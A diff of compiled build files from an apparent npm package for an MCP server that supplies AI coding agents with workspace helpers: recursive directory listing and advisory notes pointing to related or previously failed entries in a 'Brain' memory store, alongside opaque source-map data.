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"}

package/dist/cjs/mcp/workspaceShared.d.ts

@@ -0,0 +1,19 @@
+/**
+ * Shared workspace-navigation helpers used by both the workspace CRUD tools
+ * (./tools/workspace.ts) and several other tools elsewhere in tools.ts
+ * (get_symbol_surgical_context, smart_file_slice, get_ast_hologram, ...). Split out
+ * to avoid duplicating them (or a tools.ts <-> tools/workspace.ts import cycle).
+ */
+import { type BlastRadiusResult } from "../subconscious/TheBrainV2";
+export declare function listDirRecursive(currentDir: string, relativePath: string, depth: number, maxDepth: number): string[];
+/**
+ * Fase E — blast radius. Purely advisory text appended to a write tool's success response:
+ * which Brain memories (direct or derived via Fase B's derivedFrom) depend on the
+ * file/symbol just written, and which of those document a documented FAILED attempt. Never
+ * blocks the write and never mutates anything — the next search_memory/verify_memory call
+ * already re-checks freshness lazily; this only surfaces the same signal earlier, at the
+ * moment it's cheapest to act on.
+ */
+export declare function formatBlastRadiusNote(result: BlastRadiusResult): string;
+export declare function formatRecallNote(filePath: string, symbolName?: string): string;
+//# sourceMappingURL=workspaceShared.d.ts.map

package/dist/cjs/mcp/workspaceShared.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"workspaceShared.d.ts","sourceRoot":"","sources":["../../../src/mcp/workspaceShared.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAKH,OAAO,EAAY,KAAK,iBAAiB,EAAE,MAAM,4BAA4B,CAAC;AAE9E,wBAAgB,gBAAgB,CAC9B,UAAU,EAAE,MAAM,EAClB,YAAY,EAAE,MAAM,EACpB,KAAK,EAAE,MAAM,EACb,QAAQ,EAAE,MAAM,GACf,MAAM,EAAE,CAoBV;AAED;;;;;;;GAOG;AACH,wBAAgB,qBAAqB,CAAC,MAAM,EAAE,iBAAiB,GAAG,MAAM,CAOvE;AAmBD,wBAAgB,gBAAgB,CAAC,QAAQ,EAAE,MAAM,EAAE,UAAU,CAAC,EAAE,MAAM,GAAG,MAAM,CAqB9E"}

package/dist/cjs/mcp/workspaceShared.js

@@ -0,0 +1,101 @@
+"use strict";
+/**
+ * Shared workspace-navigation helpers used by both the workspace CRUD tools
+ * (./tools/workspace.ts) and several other tools elsewhere in tools.ts
+ * (get_symbol_surgical_context, smart_file_slice, get_ast_hologram, ...). Split out
+ * to avoid duplicating them (or a tools.ts <-> tools/workspace.ts import cycle).
+ */
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.listDirRecursive = listDirRecursive;
+exports.formatBlastRadiusNote = formatBlastRadiusNote;
+exports.formatRecallNote = formatRecallNote;
+const fs_1 = __importDefault(require("fs"));
+const path_1 = __importDefault(require("path"));
+const TheBrainV2_1 = require("../subconscious/TheBrainV2");
+function listDirRecursive(currentDir, relativePath, depth, maxDepth) {
+    if (depth > maxDepth)
+        return [];
+    try {
+        const entries = fs_1.default.readdirSync(currentDir, { withFileTypes: true });
+        let result = [];
+        for (const entry of entries) {
+            if (["node_modules", ".git", "dist", "chroma_data", ".lemma"].includes(entry.name))
+                continue;
+            const rel = relativePath ? path_1.default.join(relativePath, entry.name) : entry.name;
+            const full = path_1.default.join(currentDir, entry.name);
+            if (entry.isDirectory()) {
+                result.push(`${rel}/`);
+                result.push(...listDirRecursive(full, rel, depth + 1, maxDepth));
+            }
+            else {
+                result.push(rel);
+            }
+        }
+        return result;
+    }
+    catch {
+        return [];
+    }
+}
+/**
+ * Fase E — blast radius. Purely advisory text appended to a write tool's success response:
+ * which Brain memories (direct or derived via Fase B's derivedFrom) depend on the
+ * file/symbol just written, and which of those document a documented FAILED attempt. Never
+ * blocks the write and never mutates anything — the next search_memory/verify_memory call
+ * already re-checks freshness lazily; this only surfaces the same signal earlier, at the
+ * moment it's cheapest to act on.
+ */
+function formatBlastRadiusNote(result) {
+    if (result.hits.length === 0)
+        return "";
+    const ids = result.hits.map((h) => h.id).join(", ");
+    const base = `\n📎 ${result.hits.length} memor${result.hits.length === 1 ? "y" : "ies"} in the Brain depend on this and will go stale: ${ids}. They'll re-verify next time they're searched.`;
+    if (result.failedHits.length === 0)
+        return base;
+    const failedIds = result.failedHits.map((h) => h.id).join(", ");
+    return `${base}\n⚠️ ${result.failedHits.length} of those document a PRIOR ATTEMPT THAT FAILED on related code: ${failedIds}. Review before continuing down this path.`;
+}
+/**
+ * The read-side counterpart to formatBlastRadiusNote.
+ *
+ * Fase E made the write path proactive: a tool that stales memories says so on the spot.
+ * The read path stayed entirely opt-in — the Brain only spoke when the agent remembered to
+ * call search_memory, which is exactly the moment an agent that doesn't know a memory exists
+ * has no reason to. This closes that asymmetry: reading code the Brain already has notes on
+ * surfaces them, including any documented dead end, before the investigation restarts from
+ * scratch.
+ *
+ * Same rules as the write-side note: advisory only, never blocks, never mutates, and adds no
+ * tool schema (it enriches an existing response), so it costs nothing per turn. It reports
+ * ids rather than content — pulling whole memories into every file read would spend far more
+ * context than it saves; search_memory or verify_memory fetches the ones that matter.
+ */
+const _recallNoted = new Set();
+function formatRecallNote(filePath, symbolName) {
+    try {
+        const result = (0, TheBrainV2_1.getBrain)().findBlastRadius(filePath, symbolName);
+        if (result.hits.length === 0)
+            return "";
+        // Repeating the identical note on every read of the same file is nagging, not signal.
+        // Keyed by the memory set, so a note reappears when the set genuinely changes.
+        const ids = result.hits.map((h) => h.id).sort();
+        const key = `${path_1.default.resolve(filePath)}::${symbolName || ""}::${ids.join(",")}`;
+        if (_recallNoted.has(key))
+            return "";
+        _recallNoted.add(key);
+        const subject = symbolName ? `\`${symbolName}\`` : "this file";
+        const base = `\n\n🧠 The Brain already has ${result.hits.length} memor${result.hits.length === 1 ? "y" : "ies"} about ${subject}: ${ids.join(", ")}. Call verify_memory on them before investigating from scratch.`;
+        if (result.failedHits.length === 0)
+            return base;
+        const failedIds = result.failedHits.map((h) => h.id).join(", ");
+        return `${base}\n⚠️ ${result.failedHits.length} of those document an approach that was tried here and FAILED: ${failedIds}. Read those first so you don't repeat it.`;
+    }
+    catch {
+        // A recall note must never be the reason a file read fails.
+        return "";
+    }
+}
+//# sourceMappingURL=workspaceShared.js.map

package/dist/cjs/mcp/workspaceShared.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"workspaceShared.js","sourceRoot":"","sources":["../../../src/mcp/workspaceShared.ts"],"names":[],"mappings":"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